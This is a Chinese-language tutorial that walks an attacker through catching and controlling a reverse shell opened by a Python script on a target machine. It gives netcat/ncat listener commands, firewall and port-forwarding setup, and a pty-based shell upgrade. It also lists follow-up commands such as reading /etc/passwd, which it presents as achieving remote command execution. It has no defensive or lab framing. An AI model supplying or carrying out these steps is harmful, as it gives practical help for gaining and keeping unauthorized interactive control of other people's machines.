
本文介绍如何使用netcat在攻击者端监听端口,成功接收并交互式控制目标机器通过python脚本建立的反向shell连接。
本文介绍如何使用netcat在攻击者端监听端口,成功接收并交互式控制目标机器通过python脚本建立的反向shell连接。
要与目标机器上运行的Python反向Shell建立交互式命令控制,关键在于攻击者需提前启动监听服务,等待目标主动连接。您提供的Python脚本已正确实现反向连接逻辑(调用socket.connect()向指定IP和端口发起TCP连接),因此攻击者只需在对应IP(确保可达)和端口上开启一个双向、交互式监听器。
最常用且轻量的方案是使用 netcat(nc)。推荐使用 ncat(Nmap项目下的增强版)或经典 netcat 的监听模式:
# 推荐:使用 ncat(支持更稳定TTY交互,尤其对/bin/sh -i友好) ncat -lvnp 4444 # 或使用传统 netcat(部分系统需安装 netcat-traditional) nc -lvnp 4444
-
-l:启用监听模式 -
-v:显示详细连接信息(可选,便于调试) -
-n:禁用DNS解析(提升响应速度) -
-p 4444:指定监听端口(必须与Python脚本中的attacker_port完全一致)
✅ 注意事项:
- 确保攻击者机器的防火墙允许该端口入站(如
sudo ufw allow 4444); - 若攻击者处于NAT/内网环境(如家用路由器后),需配置端口转发,并使用公网IP或内网IP(取决于目标能否路由到您);
- Python脚本中请替换
"attacker_ip"和attacker_port为真实值(例如"192.168.1.100"和4444),并确保目标可访问该地址; - 部分Linux发行版默认安装的是
netcat-openbsd,其不支持-e或完整TTY交互,但-lvnp监听功能仍可用;若遇到/bin/sh -i交互卡顿,可改用python3 -c 'import pty; pty.spawn("/bin/bash")'在目标端升级shell,并执行stty raw -echo; fg获取完整终端体验。
一旦目标脚本执行,您将在监听终端看到连接建立提示(如 Ncat: Connection from 192.168.1.200:56789.),随后即可直接输入命令(如 whoami, ls -la, cat /etc/passwd),输出实时回显——真正实现远程命令执行(RCE)。
立即学习“Python免费学习笔记(深入)”;
总结:反向Shell的控制权掌握在监听端。写好客户端(Python)、配对端口、守好监听器,即可安全、稳定地获得目标交互式shell会话。


















